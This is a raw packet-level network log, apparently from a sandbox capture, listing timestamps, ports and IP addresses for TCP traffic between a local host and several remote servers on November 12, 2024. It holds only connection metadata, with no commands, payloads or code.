Nov 12, 2024 04:16:32.802575111 CET	49861	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:32.821168900 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.822127104 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.822139978 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.822427988 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.822788000 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.822838068 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.823019981 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.845431089 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.848193884 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.848227024 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.848525047 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.854804993 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.854880095 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.855146885 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.863334894 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.899338961 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.967885017 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.968354940 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.968365908 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.969238997 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.969341993 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.970818043 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.970869064 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.971540928 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.971548080 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.018233061 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.067416906 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.067439079 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.067464113 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.067521095 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.067533016 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.067584038 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.069478035 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.069493055 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.069531918 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.069536924 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.069565058 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.069585085 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.069761992 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.069818974 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.087436914 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.087451935 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.087476969 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.087515116 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.087544918 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.087560892 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.087587118 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.092886925 CET	49872	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:33.092916012 CET	443	49872	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:33.092972994 CET	49872	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:33.096776009 CET	49872	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:33.096786976 CET	443	49872	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:33.098690987 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:33.098706961 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:33.098752975 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:33.098757982 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:33.098859072 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:33.098998070 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:33.101324081 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.101353884 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.101392031 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.101397038 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.101406097 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.101416111 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.101444960 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.113353968 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:33.113363028 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:33.120049000 CET	443	49867	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.139657021 CET	49867	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.139668941 CET	443	49867	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.140357971 CET	49867	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.140361071 CET	443	49867	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.181613922 CET	443	49868	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.184441090 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.184459925 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.184537888 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.184546947 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.184578896 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.185530901 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.185568094 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.185595989 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.185597897 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.185638905 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.197299957 CET	49864	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.197310925 CET	443	49864	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.217653990 CET	49868	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.217667103 CET	443	49868	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.217928886 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.217947960 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.217994928 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.218018055 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.218046904 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.218071938 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.218570948 CET	49868	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.218575001 CET	443	49868	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.218861103 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.218882084 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.218904972 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.218910933 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.218964100 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.219975948 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.220053911 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.222279072 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.222292900 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.222367048 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.222385883 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.222393990 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.222402096 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.222404957 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.222414970 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.222429991 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.222460985 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.222464085 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.222472906 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.222481966 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.222506046 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.229554892 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.229571104 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.229646921 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.229651928 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.229690075 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.230269909 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.230340004 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.266211987 CET	443	49867	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.266360998 CET	443	49867	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.266510963 CET	49867	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.268563986 CET	443	49869	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.282768011 CET	49867	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.282779932 CET	443	49867	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.282840014 CET	49867	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.282845020 CET	443	49867	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.287373066 CET	49869	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.287390947 CET	443	49869	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.287928104 CET	49869	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.287933111 CET	443	49869	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.302757978 CET	49873	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.302783966 CET	443	49873	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.302902937 CET	49873	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.303092003 CET	49873	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.303102016 CET	443	49873	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.321393013 CET	443	49870	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.321702003 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.321719885 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.321734905 CET	49870	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.321753979 CET	443	49870	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.321767092 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.321794033 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.321815014 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.321827888 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.322246075 CET	49870	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.322249889 CET	443	49870	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.335165977 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.335225105 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.336000919 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.336038113 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.336050987 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.336056948 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.336077929 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.336097956 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.337312937 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.337327003 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.337368011 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.337374926 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.337402105 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.337418079 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.338990927 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.339004993 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.339040995 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.339047909 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.339066982 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.339082956 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.339102030 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.339142084 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.339952946 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.339996099 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.340001106 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.340015888 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.340033054 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.340059042 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.345400095 CET	443	49868	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.345544100 CET	443	49868	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.345577955 CET	49868	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.346750021 CET	49865	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.346762896 CET	443	49865	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.353250980 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.353271961 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.353313923 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.353321075 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.353343964 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.353822947 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.353842020 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.353869915 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.353873968 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.353904963 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.354682922 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.354743958 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.354748011 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.354840040 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.355204105 CET	49868	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.355211973 CET	443	49868	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.384176970 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.384203911 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.384267092 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.386327028 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.386339903 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.392139912 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:33.392147064 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:33.417649031 CET	443	49869	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.417845964 CET	443	49869	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.417920113 CET	49869	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.425100088 CET	49869	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.425117970 CET	443	49869	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.425132036 CET	49869	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.425137043 CET	443	49869	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.427793980 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.427813053 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.428008080 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.428062916 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.428070068 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.457489967 CET	443	49870	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.457621098 CET	443	49870	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.457998991 CET	49870	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.458197117 CET	49870	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.458197117 CET	49870	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.458204031 CET	443	49870	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.458210945 CET	443	49870	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.462065935 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.462105989 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.462532043 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.462974072 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:33.462992907 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:33.558068991 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:33.558115005 CET	443	49877	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:33.558393955 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:33.558592081 CET	49877	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:33.558613062 CET	443	49877	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:33.708256006 CET	443	49872	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:33.708758116 CET	49872	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:33.708776951 CET	443	49872	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:33.709788084 CET	443	49872	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:33.709853888 CET	49872	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:33.710270882 CET	49872	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:33.710335016 CET	443	49872	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:33.710732937 CET	49872	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:33.710741043 CET	443	49872	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:33.811790943 CET	49872	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:33.833087921 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:33.833110094 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:33.833126068 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:33.833225012 CET	49794	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:33.833240986 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:33.833273888 CET	49794	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:33.833297014 CET	49794	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:33.877330065 CET	49878	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:33.877351999 CET	443	49878	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:33.877525091 CET	49878	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:33.879085064 CET	49878	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:33.879096985 CET	443	49878	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:33.888598919 CET	49794	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:33.888622046 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:33.895987034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:33.896013021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:33.900835037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:33.900849104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:33.924458027 CET	443	49872	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:33.924973011 CET	443	49872	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:33.925024986 CET	49872	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:33.925771952 CET	49872	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:33.925781012 CET	443	49872	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:34.035398006 CET	443	49873	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.035989046 CET	49873	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.036016941 CET	443	49873	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.036648989 CET	49873	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.036653996 CET	443	49873	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.055459023 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:34.055485964 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:34.055568933 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:34.055821896 CET	49879	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:34.055831909 CET	443	49879	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:34.136810064 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.137379885 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.137394905 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.137893915 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.137897968 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.155383110 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.155905962 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.155925989 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.156390905 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.156394958 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.169023991 CET	443	49873	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.169233084 CET	443	49873	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.169296026 CET	49873	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.169329882 CET	49873	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.169342041 CET	443	49873	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.169351101 CET	49873	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.169354916 CET	443	49873	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.172358036 CET	49880	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.172399044 CET	443	49880	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.172502995 CET	49880	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.172733068 CET	49880	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.172751904 CET	443	49880	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.192008972 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.192815065 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.192842960 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.193662882 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.193669081 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.210808992 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.210841894 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.210963011 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.211349010 CET	49881	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:34.211364985 CET	443	49881	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:34.236649036 CET	49882	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:34.236681938 CET	443	49882	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:34.236742973 CET	49882	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:34.237189054 CET	49882	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:34.237200022 CET	443	49882	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:34.266613960 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.266902924 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.266971111 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.267069101 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.267082930 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.267092943 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.267096996 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.271528006 CET	49883	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.271548033 CET	443	49883	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.271743059 CET	49883	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.271986008 CET	49883	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.271992922 CET	443	49883	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.285475016 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.286025047 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.286103010 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.286298037 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.286303997 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.286313057 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.286315918 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.288798094 CET	49884	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.288851023 CET	443	49884	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:34.288997889 CET	49884	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:34.289171934 CET	49884	443	192.168.2.5	13.107.246.45
